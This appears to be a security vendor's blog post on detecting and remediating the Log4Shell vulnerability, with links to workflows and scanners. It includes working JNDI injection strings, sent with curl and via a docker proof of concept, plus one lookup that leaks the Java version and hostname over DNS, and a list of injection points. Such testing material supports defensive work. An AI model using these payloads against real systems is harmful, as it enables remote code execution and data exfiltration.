Log4Shell – Updates and latest remediation/workflows

In the last few weeks, information security professionals have been fighting and updating systems like crazy.

Our deepest support goes to them and all the vendor e-mail that has gone around 🙂

We have instead been silent and helping organizations where they can and if they need more they can ask later (karma anyone )

Some good elements and flow have gone out to test for vulnerability

You can refer to the original existing report here and our overall vulnerability page updated with the latest data here


Some good news and attention from National Cyber Security Centre on cyber security impact. You can see the full post here

The challenges organisations face are, therefore:

  • asset inventory and application composition
  • where are deployed and how they get affected
  • prioritizing the ones that are internet-facing
  • monitor and threat model as well as real-world assessment (test and check if you see an answer back)

Mitigation and testing

We are maintaining a mindmap of resolution ourselves to track all the variation and remediation but most importantly how to tackle Vulnerability at scale

check the latest version of the vulnerable vendors

Mitigation and Update for Log4Shell

Updated: New Version of the mindmap with 2.17 based on the original version from ATOS

A good article from CISA on testing and several others have been published (some reference below. In general when testing verify that you get information in return and that the remote execution actually happens

CISA Workflow for false positive

A mindmap with some more details on all the various vulnerabilities that we are using internally to assess (one below for exploitation)

Another good workflow reference I’ve found is this one

Java Path

Testing recomandation

use strings in local to simulate your application or check DNS logs / local logs of application to see if the string was actually logged AND triggered a Remote code execution

confirmation that a lot of the bounty is spam detection

Simple Testing:

// if server in test is running on localhost curl -H ‘X-Api-Version: ${jndi:ldap://}’



in this way you can verify in the DNS log if the RCE was executed instead of just a string

another example of test is:${jndi:ldap://jv-${sys:java.version}-hh-${hostname}}

where DOMAIN is an example DNS subdomain as tested here using DNS Log

you should receive some information in your DNS with the string containing the java version of the hostname. This does not stop there and I’ve included the list of strings and where the payload can be injected

Some other payloads for injections:

Host info

Java info

ENV info

Where you can inject

  • Email header
  • Username fields
  • Password fields
  • E-mail address
  • Filename fields
  • Query/Body
  • URL
  • File content,
  • Document/Image EXIF

Inside any of the following headers


Community edition to test

if you want to test a version of the vulnerability there is a vulnerable page available here:

Community driven POC

// 1. In a sandboxed terminal-1 (with docker daemon installed), run
docker run -p 8080:8080
// 2. Spawn another tab-2 to trigger the exploit
curl -H 'X-Api-Version: ${jndi:ldap://}'
// 3. Observe logs in terminal (1)
2021-12-11 11:01:05,99 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://]. javax.naming.CommunicationException: [Root exception is Connection refused (Connection refused)]

Reference to christophetd’s vulnerable app.

Scanners Available:

Scan & Remediation

Just scan:

Read More

For more information look at log4shell summary page with details on the flow and the original post on the vulnerability

Other References


CISA Github:

Apache Vuln page:

Francesco is an internationally renowned public speaker, with multiple interviews in high-profile publications (eg. Forbes), and an author of numerous books and articles, who utilises his platform to evangelize the importance of Cloud security and cutting-edge technologies on a global scale.

Discuss this blog with our community on Slack

Join our AppSec Phoenix community on Slack to discuss this blog and other news with our professional security team

From our Blog

Critical Alert: Discover the implications of the Lace Tempest CVE-2023-47246 vulnerability in SysAid software, exploited by the notorious ransomware group TA505 also known as cl0p. Learn path traversal flaw, Microsoft’s insights, and urgent patching advice. Stay informed on the latest in cybersecurity with Phoenix Security’s insights and solutions for mitigating this high-impact ransomware threat. Focus on your vulnerability management program and application security program
Francesco Cipollone

Join our Mailing list!

Get all the latest news, exclusive deals, and feature updates.

x Logo: ShieldPRO
This Site Is Protected By